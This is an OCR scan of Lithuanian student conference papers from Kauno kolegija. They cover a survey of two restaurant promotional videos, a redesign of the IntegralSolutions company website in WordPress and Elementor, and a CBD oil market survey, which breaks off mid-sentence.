parodydamas zmones, apsirengusius gyvinais, ir jtraukdamas veiksmingg kameros
judéjima, bégima bei jvairius veiksmo elementus.
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Tyrimo rezultatai

Tyrimo rezultaty apzvalga prasidéjo nuo demografiniy duomeny analizes,
iSnagrinéjant amziaus ir lyties pasiskirstyma respondenty grupéje. Diagramoje matome
(zr. 3 pav.), kad didziausig dalj sudaro amziaus grupé nuo 21 iki 25 mety, o maziausig —
amziaus tarpsnis nuo 31 iki 35 mety. IS diagramos taip pat matyti, kad moterys sudaro
didZiaja respondenty dalj visose amziaus grupése, ypaé tarp jaunesniy (18-20 ir 21-25
mety). Vyrai pasiskirste tolygiau tarp jvairiy amziaus grupiy, taciau jy skaiCius visose
grupése yra mazesnis nei motery.

Ambum; 5]

Lyt [1]

3 pav. Amziaus pagal lytj pasiskirstymas

Remiantis pateiktomis diagramomis (Zr. 4 pav.), dauguma respondenty (66,4
proc.) jvertino vaizdo jrasg Nr. 1 kaip patraukly ar labai patraukly, o tik maza dalis
respondenty (1,8 proc.) nurodé, kad jis atgraso. Tai rodo, kad vaizdo jrasas Nr. 1
didZiajai auditorijos daliai sukélé teigiamg jspuidj. Vertinant vaizdo jrasa Nr. 2, daugiau
nei trys ketvirtadaliai respondenty (75,6 proc.) teigé, kad §is vaizdo jraSas yra patrauklus
ar labai patrauklus, o tik 2,4 proc. respondenty nurodé, kad jis atgraso. I§ pateikty
duomeny matyti, kad vaizdo jrasas Nr. 2 sulauké didélio susidoméjimo, palyginti su
vaizdo jraSu Nr. 1. Atsizvelgiant j $iuos rezultatus, galima teigti, kad abu vaizdo jrasai
paliko teigiamg jsptidj visiems apklausos dalyviams, ta¢iau vaizdo jraSas Nr. 2 buvo
patrauklesnis nei vaizdo jrasas Nr. 1. Tai rodo, kad vaizdo jraso Nr. 2 turinys buvo
efektyvesnis, siekiant didesnio auditorijos jsitraukimo.
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Kalp vertinate vaizdo Jraso nr. 2 fraukima? Kaip vertinate vaizdo jraso nr.1 jtraukima?

164 msakymal 164 atsckymal

@ Labal primaukiania @ 1 shai prvaukiants

B Privausants ® Fritrsukiantis

Mei pritraukiantis, rel atstumiants e srilizukdants. nei alstumians
@ Arumiants @ pesumiar

— ® Labi arstumianis

® Netwiiu nuomenes

4 pav. Tyrimo rezultatai apie vaizdo jrasy jtraukimag

Remiantis tyrimo duomenimis (zr. 5 pav.), daugiau nei 75 proc. respondenty
teige, kad vaizdo jrasas Nr. 1 sukélé teigiamas emocijas, o vaizdo jraso Nr. 2 teigiamas
emocijas jvardijo 82,3 proc. respondenty. Mazdaug 10 proc. respondenty teigé, kad
vaizdo jrasas Nr. 1 nesukélé teigiamy emocijy, palyginti su 7,3 proc., kurie ta patj saké
apie vaizdo jraSa Nr. 2. Apie 14 proc. respondenty Siuo klausimu neturéjo aiskios
nuomonés. I$ pateikty duomeny matyti, kad abu vaizdo jrasai daugumai respondenty
sugebg¢jo sukelti teigiamas emocijas, taciau vaizdo jrasas Nr. 2 §iuo atzvilgiu pasirodé
Siek tiek efektyvesnis. Teigiamy emocijy vertinimas Siam vaizdo jrasui buvo Siek tiek
aukstesnis nei vaizdo jraso Nr. 1.

Ar vaizdo jradas nr sukelé jums teigiamas emocijas? Ar vaizdo jradas nr. 2 sukélé jums teigiamas emocijas?
154 atsakymai 16k alesigmi

® TEp
&
[T

® o
L LY
Netliu uarianes

5 pav. Tyrimo rezultatai apie vaizdo jrasuose sukeltas emocijas

Remiantis tyrimo duomenimis (Zr. 6 pav. ), daugiau nei 54 proc. respondenty
(42.1 proc. teigia, kad padidino, o 12.8 proc. labai padidino) nurod¢, kad vaizdo jrasas
Nr. 1 padidino jy susidoméjima. Tuo tarpu beveik 40 proc. respondenty nurodé, kad
vaizdo jraSas nepakeité jy susidoméjimo, 2.4 proc. neturi aiskios nuomonés Siuo
klausimu, o 3 proc. respondenty teigé, kad vaizdo jrasas sumazino jy susidoméjima.
Analizuojant vaizdo jraSo Nr. 2 vertinimus, matoma, kad dauguma respondenty taip pat
ivertino §j vaizdo jra$g teigiamai dél susidoméjimo. 42.7 proc. respondenty nurod¢, kad
vaizdo jrasas padidino jy susidoméjimg, o 21.3 proc. teigia, kad jis labai padidino
susidoméjima. Nepakitusio susidomejimo buvo pastebéta 29.9 proc. respondenty, tuo
tarpu 2.4 proc. respondenty nurodé, kad susidoméjimas sumazéjo, o 0.6 proc. labai
sumazéjo. 3 proc. respondenty neturi aiSkios nuomonés $iuo klausimu.
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Remiantis §iais duomenimis, matome, kad abu vaizdo jrasai pasieké teigiama
jvertinimg deél susidoméjimo daugumai respondenty, taciau vaizdo jrasas Nr. 1 sukéelé
Siek tiek didesnj susidoméjimo padidéjima negu vaizdo jrasas Nr. 2.

Arvaizdo jragas nr. 2 padidine jOsy susidoméjima Lavender Inn" restoranu ir aplinka?  Ar vaizdo jra8as nr.1 padidino jasy susidoméjima Lavender Inn" restoranu ir aplinka?
16¢ atsakymal 154 atsakyrra

@ Labal padidine

6 pav. Tyrimo rezultatai apie vaizdo jrasy susidoméjimg

Siekiant plétoti tyrimo sritj, sitiloma atlikti i§samy vaizdo jrasy efektyvumo
tyrimg kitose socialiniy tinkly platformose. Pavyzdziui, ,,TikTok“, ,,YouTube".
Ypatingas démesys turéty buti skiriamas naujy vaizdo jrasy formaty elementy ir
reklamos strategijy veiksmingumui auditorijos jsitraukimui ir elgesiui. Tolesniam
tyrimui rekomenduojama apimti didesng respondenty imtj ir atlikti iSsamesne vaizdo
iraSo / reklamos analizg. Tai leis gauti i§samesn¢ informacija apie vartotojy nuomone
bei elgesj socialiniuose tinkluose.

ISvados

1. Atlikus jmonés socialiniy tinkly analizg, paaiskéjo, kad jmoné ,,Levandula“
aktyviai naudoja socialinius tinklus, jskaitant ,,Facebook™ ir ,Instagram®, sickdama
pritraukti naujus klientus ir i$laikyti ry$j su esamais. Paskyros vertinamos teigiamai dél
didelio sekéjy skaiCiaus ir klienty atsiliepimy rodiklio. Pastebéta, kad vienoje i§
paskyry — ,.Lavender Inn Shop“ néra vartotojy jvertinimy, o sekéjy skaiCius yra
santykinai mazesnis, lyginant su kitomis paskyromis. Tai rodo biitinybe tobulinti Sig
paskyra, kadangi socialiniai tinklai yra svarbi reklamos priemoné ir komunikacijos
kanalas su klientais.

2. Sukurta internetiné apklausa pasitelkiant ,,Google Forms®, su tikslu
iSanalizuoti vartotojy poziirj i jmonés socialiniuose tinkluose pateikiamus vaizdo
jraSus. Klausimai buvo parengti atsizvelgiant | vaizdo jraSy kokybe ir jvaizdj.
Apklausoje dalyvavo 164 respondentai.

3. Remiantis tyrimo duomenimis, matyti, kad abu vaizdo jrasai sugebéjo
sukelti teigiamas emocijas ir padidinti auditorijos susidoméjimg. Taciau vaizdo jraSas
Nr. 2 pasirodé efektyvesnis, nes jis labiau pritrauké auditorija ir sukélé didesnj
susidomejima nei vaizdo jrasas Nr. 1. Tai leidzia manyti, kad pasirinktas vaizdo jraso
formatas Nr. 2 labiau atitiko auditorijos ltkes¢ius ir poreikius, o jo turinys buvo labiau
itraukiantis.
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Summary

In today's advertising market, video is becoming an increasingly important tool for growing brand
awareness and driving engagement within the target audience. The aim of this research is to assess
how different formats of advertising videos aimed at a target audience affect viewer emotional
reactions, focus and overall engagement. During the research, 164 respondents were shown two
videos in different formats, followed by an online survey.
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Internetinés svetainés ,,IntegralSolutions* atnaujinimas

Erika Kelmelyté, Mindaugas Zmitrulevicius
Kauno kolegija

Anotacija. Imonés internetiné svetainé veikia panaiai kaip jmonés vizitiné
kortelé, jos dizainas ir turinys yra svarbus sudarant pirmg jspiidi apie jmone
potencialiems klientams ir partneriams. Siame projekte buvo nuspresta atnaujinti
LIntegralSolutions™ jmonés reprezentacing interneting svetaing siekiant geriau
atspindéti jmonés jvaizd] ir pristatyti jos veiklg internete. Pasirinkta ,,WordPress®
turinio valdymo sistemos programa interneto svetainéms kurti su ,,Elementor* jskiepiu,
nes tai efektyvi ir lanksti platforma, leidzianti kurti modernius ir funkcionalius
tinklalapius be giluminio programavimo ziniy poreikio. Kuriant interneto svetaing yra
svarbu atlikti konkurenty tyrimg bei iSsiaiskinti Siuolaikiniy internetiniy svetainiy
dizaino tendencijas.

Raktiniai ZodZziai: ,,IntegralSolutions svetainé, vartotojo patirtis (UX),
svetainiy dizainas, animaciniai peréjimai, animacinis vaizdo jrasas.

Ivadas

Siuolaikinés jmonés internetinés svetainés tampa neatsiejama verslo veiklos
dalimi, suteikiancia unikalias galimybes pritraukti naujus klientus, stiprinti esamy
klienty lojalumg ir efektyviai komunikuoti su auditorija. Kaip teigia L. Rickuté (2013)
knygoje ,,Tinklalapiy kiirimas, dizainas ir valdymas®, internetinio tinklalapio i§vaizda
yra vienas i§ svarbiausiy kriterijy siekiant pritraukti klientus bei atspindéti tinkamag
imonés jvaizd] internete. Pagrindiniai tinklalapiy dizaino darby etapai:

e idéjos ieSkojimas;

e grafinis sprendimas (pieSimas);

e baigiamasis etapas (dizaino tvarkymas).

,IntegralSolutions® jmoné, siekdama pagerinti savo internetinés svetainés
dizaing ir funkcionaluma, taiko SiuolaikiSkus metodus nuosekliai juos tobulindama.
Internetiniy svetainiy dizaino ir funkcionalumo tobulinimas yra labai aktuali tema, nes
verslo konkurencija elektroninéje erdvéje nuolat auga, o vartotojy liikeséiai ir elgesys
internete taip pat keiciasi. ,,IntegralSolutions* siekia jgyvendinti strategija, kuri leisty
imonei i$siskirti tarp kity paslaugy teikéjy ir uztikrinti aukstg naudotojy patirtj.

Darbo tikslas — tobulinti ,,IntegralSolutions* internetinés svetainés dizaing ir
funkcionalumg remiantis moksliniais tyrimo metodais ir Siuolaikinémis internetiniy
svetainiy dizaino tendencijomis.

UZdaviniai:

1. Atlikti konkurenty internetiniy svetainiy tyrima naudojant vartotojo sasajos
analizg.

2. ISanalizuoti S$iuolaikines internetiniy svetainiy dizaino tendencijas ir
programinius sprendimus.
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3. Remiantis tyrimo rezultatais, pritaikyti dizaing ,,IntegralSolutions*
svetainés kirimui ir tobulinimui.

Tyrimo metodika — atliktas analitinis tyrimas apie reprezentaciniy tinklapiy
dizaing.

Siuolaikinés internetiniy svetainiy dizaino tendencijos 2024 m.

2024 m. internetiniy svetainiy dizaino pasaulyje t¢siasi dinamiskas vystymasis,
kurj zymi inovatyviis sprendimai, atitinkantys Siuolaikinius vartotojy poreikius bei
technologijy pazangg. Siy mety dizaino tendencijos aiskiai nukreiptos j naudotojo patirtj
(UX), funkcionaluma, estetikg ir pasiekiamumg, kuriant jspiidingas ir veiksmingas
internetines svetaines. Pazymétina keletas rySkiausiy 2024 mety dizaino tendencijy,
tokiy kaip pasteliniy spalvy, animacijos, interaktyviy elementy, adaptyvaus dizaino
naudojimas Siuolaikiniy internetiniy svetainiy kairimui.

Pastelinés spalvy paletés: Svelnios, gaivios pastelinés spalvos islieka
populiarus pasirinkimas kuriant svetaines. Jos puikiai konkuruoja su tamsaus rezimo
tendencijomis. Be vizualinio malonumo, pastelinés spalvos suteikia emocinj pakylé€jima
ir Siluma, kurios daznai triiksta Siuolaikiniame skaitmeniniame pasaulyje.

Animuoti produktai: animuoti produkty vaizdo jrasai tampa vis populiaresni,
leisdami demonstruoti produkty veikima ir privalumus interaktyviai. Sie animacijos
iraSai padeda supaprastinti sudétingas idéjas ir procesus, pateikdami informacija lengvai
suprantamu ir jdomiu biidu.

Itraukiantys interaktyviis elementai: svarbi tendencija, siekiant pritraukti
naujus klientus ir pagerinti vartotojy patirtj. [vairiis interaktyvis elementai, tokie kaip
spusteléjimai, slinkimai, braukymai, padeda iSlaikyti vartotojy démesj ir padidina
svetainés efektyvuma.

Slenkancios animacijos: dinamiskos slenkancios animacijos pagerina vartotojo
patirtj, reaguodamos j vartotojo veiksmus. Elementy iSblukimas ar persikélimas j naujas
pozicijas kuria jdomy ir patraukly dizaino efekta, kuris skatina vartotojus tyrinéti svetaing.

Adaptyvus dizainas: universalus dizainas, prisitaikantis prie jvairiy jrenginiy
ekrany dydziy, islicka esminis siekiant uztikrinti optimalig vartotojo patirt] visose
platformose. Didéjantis mobiliyjy jrenginiy naudojimas dar labiau pabrézia adaptyvaus
dizaino svarba.

Sios tendencijos demonstruoja, kad 2024 m. internetiniy svetainiy dizainas
toliau bus orientuotas j efektyvuma, vartotojy patirtj ir vizualig estetika, siekiant geriau
igyvendinus Sias tendencijas, galima sukurti patrauklias ir veiksmingas internetines
svetaines, kuriy dizainas bus lyderiaujantis Siuolaikiniame skaitmeniniame pasaulyje.

Konkurenty tinklapiy analizé

Svetainés kiirime svarbus aspektas yra jvertinti ir analizuoti analogiSkus
konkurenty multimedijos produktus. Pagrindiniai kokybiskos svetainés vertinimo aspektai
yra matomumas (svetainés prieinamumas), surinkimas (tinklapio struktiira), technika
(technologijy panaudojimas), turinys (informacijos patikimumas), paslaugos (Steve Krug,
2014). Pagrindiniai kriterijai, pagal kuriuos vertinamos konkurenty svetainés:
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Pradinio puslapio dizainas ir funkcionalumas;
Vizualinés informacijos pateikimas;
Socialiniy tinkly pasiekiamumas;

Mobiliosios versijos integracija;

Svetainés turinys.

Internetinés svetainés yra pagrindiné priemoné pritraukti naujus klientus,
suteikti informacija apie produktus ir paslaugas bei uzmegzti bendradarbiavima su
esamais ir naujais klientais. Sveikatos produkty tiekéjai naudoja savo tinklalapius kaip
veiksmingg platforma, leidziancig pasiekti ir jtikinti potencialius vartotojus dél
produkty naudos ir kokybés, o juy internetinés svetainés yra svarbi priemoné pritraukti
ir informuoti klientus bei konkuruoti rinkoje. Analizés tikslas yra i$siaiskinti, kaip Sie
tinklalapiai pasitelkia dizaing, navigacijg ir turinj siekdami savo tiksly bei kaip tai gali
paveikti vartotojy patirtj ir galutinius rezultatus. Siame tyrime buvo analizuojami trys
konkurenty — ,,Lepicol, ,,Vivomixx*“ ir ,,BioAgna“ — tinklalapiai siekiant jvertinti jy
dizaing ir funkcionaluma.

,,Lepicol® pradiniame puslapyje naudama ,hamburgerio* (arba kitaip drop-
down) tipo meniu, daznai vadinama ,hamburgerio mygtuku®, yra minimalistinis
mygtukas, susidedantis i$ trijy horizontaliy linijy. Lepicol pradinio puslapio bendras
dizainas yra spalvingas ir traukiantis akj. Teksta sunku skaityti, nes Zalios spalvos ir
plonas Sriftas prastai skaitomas geltoname fone. Sitlomy prekiy i$déstymas aiSkus ir
informatyvus. Visas tinklalapio dizainas paremtas pasikartojancio gamtos fono peizazu,
kuriame naudojamas tas pats baltos spalvos Sriftas, kuris yra sunkiai skaitomas. Taciau
pagrindinis §io konkurenty tinklarascio i§skirtinumas yra deSinéje puséje esantis 4 tasky
aktyvus mygtukas, kuris grazina atgal | norimg puslapi. Verta taip pat pazyméti, kad
logotipas yra susiliejes su fonu ir neakcentuojamas paciame puslapyje, taip pat néra
jokios ikonos ar informacijos apie jmonés socialinius tinklus. Mobili svetainés versija
pritaikyta ir patogi narSyti vartotojui.

%ﬁda Sm !:;«6 \f;(t’

1 pav. ,,Lepicol* svetainés pradinis puslapis

»Vivomixx“ svetainés pagrindinio puslapio dizainas yra paprastas ir
minimalistinis, ¢ia pagrindinis démesys yra skiriamas produkto ir jo privalumy aiskiam
bei glaustam pristatymui. Meniu horizontali juosta perkelta Zemyn — tai yra nejprastas
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sprendimas. Porastés néra, nes meniu juosta ,,priklijuota“ vir§uje. Tinklarastyje yra daug
informatyvaus turinio, daug démesio skiriama jkiiréjui ir jo veiklai. Taip pat yra daug
vaizdinés medziagos, kuri praturtina vartotojy patirtj. Turinys neperpildytas ir
informatyvus. Vienintelé uzuomina apie socialinius tinklus yra ,,youtube® vaizdo jrasas
apie produkta. Mobili versija gerai pritaikyta ir patogi narSyti vartotojui.

Probiotikai "Vivomixx"

GERIAUSI PROBIOTIKAI, kuriuos as radau

Probiotikai "Vivomixx"

Kodél mums reikalingos gerosios bakterijos?

2 pav. ,,Vivomixx“ svetainés pradinis puslapis

,Bioagna“ svetaingje taip pat yra naudojamas minimalistinis dizainas su
Svariais“ ir paprastais elementas. ISdéstymas sudaro galimybe¢ lengvai narsyti,
informacijos hierarchija yra ai$ki. Logotipo ir meniu juostos spalvos néra suderintos,
todél logotipas tampa blogai matomas. DeSingje puséje jdétas jtraukiantis interaktyvus
elementas — vaizdo jraSas apie parduodamg produkta, Kkuris patraukia vartotoja.
Svetainés turinys yra aiskus ir lengvai skaitomas.

swoman  camipapn penes mennos (G @)

GEROSIOS BAKTERIJOS -

GERESNEI SAVIJAUTAI!

Nataralos kencentruoti gérimal,

kuriuose tarpsta aktyvios gerosios

bakterijos - patvirtinta

laboratoriniais tyrimais.

3 pav. ,,Bioagna‘“ svetainés pradinis puslapis

Apzvelge §iy interneto svetainiy dizaino ypatumus, galime pastebéti skirtingas
strategijas ir sprendimus, kurie siekia pritraukti démesj ir suteikti naudingg patirtj
vartotojams. Kiekviena svetainé turi savo unikaluma ir stiprigsias puses, kurios gali biti
vertingos mokantis ir tobulinant kity internetiniy projekty dizaing. Pazymétina, kad
reprezentaciniame puslapyje neakcentuojami socialiniai tinklai;  mobili versija
pritaikyta ir patogi narSyti vartotojui.
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Tyrimy rezultaty pritaikymas atnaujinant ,,IntegralSolutions* svetaine

Imonei ,,IntegralSolutions* labai svarbu pritraukti klientus naudojantis savo
internetine svetaine, todél ja atnaujinant buvo pritaikytos kelios 2024 m. svetainiy
dizaino tendencijos. Pagrindinis démesys buvo nukreiptas j spalvy paletés naudojima ir
spalvy derinimg. Horizontali meniu juosta buvo sukurta naudojant logotipo spalva.
Pasirinkus, pavyzdziui, skiltj ,,Kontaktai®, langelis pasikei¢ia j spalvingg animacija, kad
vartotojai aiskiai matyty, kurig puslapio dalj pasirinko. Pagrindiniame puslapyje yra
akcentuojamas ,,EasyMind“ produktas su ryskiu mygtuku, nukreipian¢iu j jmonés antra
puslapi — parduotuve. Porastéje galima rasti ,linkedin® ir ,,gmail® ikonas, kurios
nukreips j tiesioginj bendravimg su jmone. Turinyje pateikiama visa informacija apie
produkta, jo nauda ir veikimo principa.

&= Integral APiEMUS 'BENORADARBIAVIMAS KONTAKTAS - =
= Solutions

KITOS KARTOS
SPRENDIMAI SVEIKATAI
IR PASIEKIMAMS

PIRKTI DABAR

4 pav. Atnaujintas ,,IntegralSolutions* svetainés pradinis puslapis

Atnaujinamai internetinei svetainei buvo sukurtas reklaminis animacinis
vaizdo jraSas naudojant ,,Adobe Animate”“ animavimo programg. [rasas buvo
sumontuotas naudojant ,,Adobe Premiere Pro“. Sis jtraukiantis vaizdo jrasas — tai
vaizdiné medziaga, iSsamiai pateikianti klientui informacija apie produkta ir jo nauda.
Irase taip pat akcentuojama, kad preke galima jsigyti ne tik internete, bet ir fizinéje
partneriy parduotuvéje. Irasas sukurtas atsizvelgiant j tai, kad svarbiausias aspektas
kuriant informatyvig ir trumpg reklama yra iSlaikyti Zitirovo démesj.

LOTUS
MEDICA

5 pav. Animacinio vaizdo jraSo panaudojimas puslapyje
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I ,IntegralSolutions* svetaing buvo jtraukti animaciniai peréjimai, kuriy
judanti grafika buvo naudojama su tikslu pagerinti vartotojo sasaja ir patirtj. Naudojant
CSS kodo apraSo efekta, kurio turinys yra rodomas arba slepiamas, kai vartotojas
uzveda pelg vir§ nuotrauky elementy. Taigi, kai vartotojas uzveda pele vir§ elemento,
kuriam taikomi S$ie stiliai, permatomumas (opacity) pereina i§ 0 j 1 per 0.5 sekundés
trukme, kuriant pereinamajj efekts. Tai leidzia suteikti subtily, bet patraukly turinio
atskleidimo efekta, kai vartotojas sgveikauja su svetaine.

Integral Solutions yra pazangus biotechnologinis startuolis, specializuojantisis
mikrobiomui orientuoty sprendimy auginime ir taikyme. Jmoneé naudoja Zarnyno smegeny
sgsajg siekdama kurti revoliucinius mikrobiomui pagrjstus sprendimus, kurie optimizuoja

psichine gerove ir atveria naujas zmogaus veiklos dimensijas.

Vykdomi tyrimai ir plétra

6 pav. Animacinio peréjimo panaudojimas puslapyje

ISvados

1. Konkurenty internetiniy svetainiy tyrimas parodé, kad kiekviena svetainé
turi savo unikaluma ir stiprigsias puses, kurios gali biiti vertingos mokantis ir tobulinant
kity internetiniy projekty dizaing. Sios svetainés naudoja jvairius dizaino sprendimus
sickiant pritraukti démesj ir suteikti naudingg patirtj vartotojams.

2. Siuolaikinés internetiniy svetainiy dizaino tendencijos 2024 metais rodo,
kad didelis démesys skiriamas vartotojy patir¢iai (UX), funkcionalumui, estetikos ir
pasiekiamumo uztikrinimui. Pastelinés spalvos, animuoti produkty vaizdo jrasai,
itraukiantys interaktyviis elementai ir adaptyvus dizainas yra esminés tendencijos,
kurios padeda sukurti patrauklias ir veiksmingas internetines svetaines.

3. Atnaujinant "IntegralSolutions" svetaing, buvo pritaikyti moderntis dizaino
sprendimai ir tendencijos, atsizvelgiant | konkurenty tyrimo rezultatus. Svetainés
dizainas buvo atnaujintas naudojant "WordPress" platformg su "Elementor" iskiepiu,
kas leido sukurti funkcionalia, estetiska ir vartotojui patrauklig svetaing.

4. Pritaikyti programiniai sprendimai ir dizaino elementai, tokie kaip spalvy
paletés naudojimas, horizontalios meniu juostos spalvinimas, animaciniai peré¢jimai ir
reklaminis animacinis vaizdo jrasas, padéjo pagerinti svetainés vartotojo sgsajg ir patirtj.
Tai leido jmonei "IntegralSolutions" iSsiskirti tarp kity paslaugy teikéjy ir uztikrinti
auksta naudotojy patirt;.
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Summary

The company's website is crucial as it serves as the company's business card, where its design and
content can create a first impression for potential clients and partners. During the research, it was
decided to update the representative website of IntegralSolutions to better reflect the company's
image and offerings online.

WordPress with Elementor plugin was chosen for this purpose as it is an efficient and flexible
platform that allows for the creation of modern and functional websites without the need for deep
programming knowledge. Elementor plugin provides the ability to create unique designs using a
visual editor, making it easy to manage content and layout.
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CBD produkty rinkos tyrimas

ir originaliy reklaminiy priemoniy kiirimas

Monika Lapins, Renata Gudaitiené
Kauno kolegija

Anotacija. Tyrime aptariama CBD aliejaus svarba, jo terapinés savybés, ir
kaip 3D vizualizacijos, kuriamos naudojant ,,Autodesk 3ds Max", gali padidinti
produkto patraukluma ir suprantamumg vartotojams. Darbe analizuojami rinkos
segmentai, konkurenty pozicijos ir vartotojy pozitris § CBD aliejy. Tyrimo metodai
apima apklausa, duomeny palyginamaja analiz¢, o iSvadose pabréziama, kad CBD
aliejus tampa vis populiaresniu dél savo naudingy savybiy. Atskleidziama, kad
efektyvus 3D technologijy panaudojimas reklamoje gali sustiprinti prekés zenklo verte
ir pagerinti vartotojo patirtj.

Raktiniai Zodziai: CBD aliejus, trimaté grafika, 3D vizualizacija, rinkos
analizé, konkurenty analiz¢, interaktyvios reklamos.

Ivadas

CBD aliejus i$ kanapiy augalo vis dazniau rinkoje vertinamas dél terapiniy
savybiy. Produktai issiskiria jvairove ir naudojimo galimybémis. Siekiant padidinti
produkty su CBD komponentais Zinomumga svarbu numatyti ir reklamine strategija. Nuo
to kaip vartotojas suzino apie produktg ir kokiy priemoniy pagalba, priklauso ir jmonés
produkcijos pardavimy augimas. Siekiant i$siaiskinti CBD aliejaus pagrindu gaminamy
produkty naudojimo daznumg ir produkty zinomuma, svarbu i$analizuoti CBD aliejaus
produkty rinka, jskaitant ir rinkodaros strategijas, jvertinti konkuruojanciy jmoniy
veikla ir taikomas reklamines priemones.

Vystantis informacinéms technologijoms, itin didelis démesys skiriamas
inovatyvioms vizualinéms priemonéms, tokios kaip animacija, trimatis modeliavimas ir
vizualizavimas. Naudojant trimatés grafikos programos priemones galima detaliau
atvaizduoti produkto ypatybes, padidinant jo patrauklumg ir suprantamuma
vartotojams. Toks metodas ne tik gali palengvinti informacijos pateikimag vartotojui, bet
ir parodo, kaip modernios technologijos gali biiti efektyviai panaudotos CBD produkty
marketinge, gerinant vartotojy patirtj ir padedant priimti apgalvotus ir svarbius
sprendimus norint i§bandyti naujg produkcija.

Darbo tikslas — nustatyti CBD aliejaus produkty Zinomumg ir atlikti rinkos
analize, jvertinant konkuruojanciy jmoniy reklaming strategija, bei sukurti originalias
produkty reklamas.

UZdaviniai:

1. Nustatyti CBD aliejaus produkty zinomumg bei rinkos ypatumus ir istyrus
bei jvertinus konkurenty stiprigsias ir silpnasias puses, sukurti jmonei originalia
reklaming produkcija.
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2. Nustatyti jmonés ir konkurenty informacijos pasiekiamuma, lankytojy
srautus bei stiprigsias ir silpnasias puses ir pasirinkti reikalingas priemones uzsakovo
produkcijos geresnei reklamai.

3. Sukurti produkty vizualizacijas ir Siuolaikiska, informatyvy reklaminj
turinj naudojant 3D technologijas.

Tyrimo metodika: tyrimo duomenys buvo surinkti per ,,Facebook® ir
»Instagram™ apklausas. Respondentai — jvairaus amziaus asmenys, susipazing su CBD
produktais. Duomeny analiz¢ atlikta naudojant ,,Microsoft Excel®, taikant deskriptyving
statistikg (vidurkiy ir procenty apskai¢iavimas). Duomeny patikimumas jvertintas
naudojant 95 proc. pasitikéjimo lygj ir 7.96 proc. paklaida, taip pat maziausio reikSmés
skirtumo (RO5) metoda, garantuojantj, kad rezultatai atspindi realias populiacijos
charakteristikas.

CBD aliejaus aktualumas

CBD (kanabidiolis) yra vienas i§ daugiau nei Simto kanabinoidy, randamy
kanapése. Skirtingai nuo THC (tetrahidrokanabinolio), kuris yra garsiausias dél savo
psichoaktyviyjy savybiy, CBD nesukelia euforijos ar kitokiy psichotropiniy poveikiy.
Dél savo ne psichoaktyviyjy savybiy, CBD aliejus yra vertinamas dél jo jmanomo
teigiamo poveikio sveikatai, kuris apima nerimo mazinima, miego kokybés gerinimg ir
kitas terapines savybes.

Savo straipsnyje Peter Grinspoon (n.d.), iZvalgus praktikuojantis gydytojas ir
Harvardo medicinos mokyklos darbuotojai, Harvard Health Publishing svetainéje
pabrézia CBD aliejaus, gaunamo i§ pramoniniy kanapiy, populiarumo augimga. Siame
straipsnyje CBD yra vertinamas dél jo teigiamo poveikio, tokiy kaip nerimo mazinimas
ir miego kokybés gerinimas, be psichoaktyvaus efekto, skirtingai nuo THC.
Dr. Grinspoon iSskiria CBD kaip ne psichoaktyvy kanabinoida, kuris padeda jveikti
mazinimas. Be to, CBD gali biti naudojamas kaip pagalbiné priemoné jvairiose
sveikatos priezitiros srityse, dél savo galimy antiuzdegiminiy savybiy.

Tyrimo rezultatai

CBD produkty Zinonumo ir naudojimo tyrimas

CBD, isgautas i§ kanapiy augalo, Siuolaikinéje sveikatos priezifiros ir gerovés
kulttroje vis labiau jsitvirtina kaip potencialiai naudingas natiiralus preparatas. Siekiant
i$siaiskinti vartotojy pozitrj apie CBD aliejy, buvo sudaryta anketa ir pasidalinta
Facebook® platformoje bei gyvai tarp skirtingo amziaus respondenty.

Atlikus apklausg, | kurig atsaké 129 respondentai, galima iSskirti svarbius
rinkos segmentus bei vartotojy polinkius, kurie leidzia giliau suprasti ir prognozuoti
rinkos tendencijas.
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Demografija ir vartotojy poziiris
@ 1825
@ 2630
31-35
&
@ 4=

1. pav. Apklausos dalyviy amzius 2. pav. Apklausos dalyviy lytis

@ Taip
@ Ne

3.pav. Apklausos dalyviy CBD aliejaus zinomumas
(Ar esate girdéje apie CBD aliejy?)

@ Moteris
@ Vyras

Nenoriu atsakyt

Apklausos duomenys atskleidzia, kad 66,7 proc. respondenty teigé esantys
girdéje apie CBD aliejy, o 33,3 proc. nebuvo girdéje. Tai rodo, kad dauguma
apklaustyjy yra bent jau Siek tiek susipazing su CBD aliejumi. CBD aliejaus produktai
yra itin populiarlis tarp motery, kurios sudaro 63,3 proc. respondenty, o vyrai —
36,7 proc.. Tai parodo, kad CBD aliejus gali biti siejamas su lyties specifiniais
poreikiais, pvz., skausmo malSinimu ar grozio procediiromis.

Didzioji respondenty dalis (56,7 proc.) yra jaunimo segmente nuo 18 iki 25
mety amziaus, rodo $ios amziaus grupés atvirumg naujoms ir alternatyvioms sveikatos
priezitliros priemonéms.

CBD aliejaus vartojimo priezastys

@ Skausmo maliinimas

@ Nerimo mazinimas
Miego gerinimas

@ Nenaudojau

@ Nevartoju

L]

N

4.pav. Apklausos dalyviy CBD aliejaus vartojimo priezastys

Atsakydami j anketoje pateiktus klausimus dauguma respondenty (66,7 proc.)
nurodé, kad yra naudoj¢ CBD aliejy, su daugiausia nurodytomis priezastimis esant
skausmo malSinimui (47,8 proc.) ir nerimo mazinimui (39,1 proc.). Tai leidzia teigti,
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kad CBD aliejus dazniausiai yra vertinamas kaip natiirali alternatyva tradiciniams
medicinos metodams, kovai su skausmu ir stresu.

Vartojimo daZnumas ir pirkimo elgsena

@ Kasdien

@ Kelis kartus per savaitg
Karta per savaite

@ Rediau nei karta per savaite

@ Socialiné Ziniasklaida
@ Draugai/éeima
Medijos

<&

5. pav. CBD aliejaus vartojimo daznumas 6. pav. Informacijos $altiniai

Atsizvelgiant j vartojimo daznuma, didziausia respondenty dalis (42,9 proc.)
teigia naudojantys CBD aliejy kelis kartus per savaitg, o tai rodo nuosekly ir sgmoningg
produkto naudojimg. Siy vartotojy informacijos 3altiniai yra jvairis, tadiau labiausiai
pabréZziamas socialiniy tinkly vaidmuo (37,5 proc.), tai rodo, kad CBD prekés zenklams
svarbu toliau investuoti j socialinés medijos marketinga, sickiant islaikyti ir plésti savo
vartotojy spektra. Nemazg dalj sudaré ir $eimos bei draugy rekomendacijos (33,3 proc.),
kas rodo zodzio galios ir skaitmeninés komunikacijos svarba.

Kainos ir pasiiilos vertinimas
q ® Taip @ Permaia
@ Ne
NeZinau

@ Pakankema
Per didele

<&

7. pav. Ar kaina atitinka produkto verte? 8. pav. CBD aliejaus pasiiila Lietuvoje

Kainos vertinimo atzvilgiu, apklausa rodo, kad didZioji dauguma respondenty
(61,5 proc.) mano, jog CBD aliejaus kaina atitinka jo verte. Tai signalizuoja apie tai,
kad vartotojai yra pasiruos$¢ investuoti j kokybiskus produktus, kurie atne$a norimag
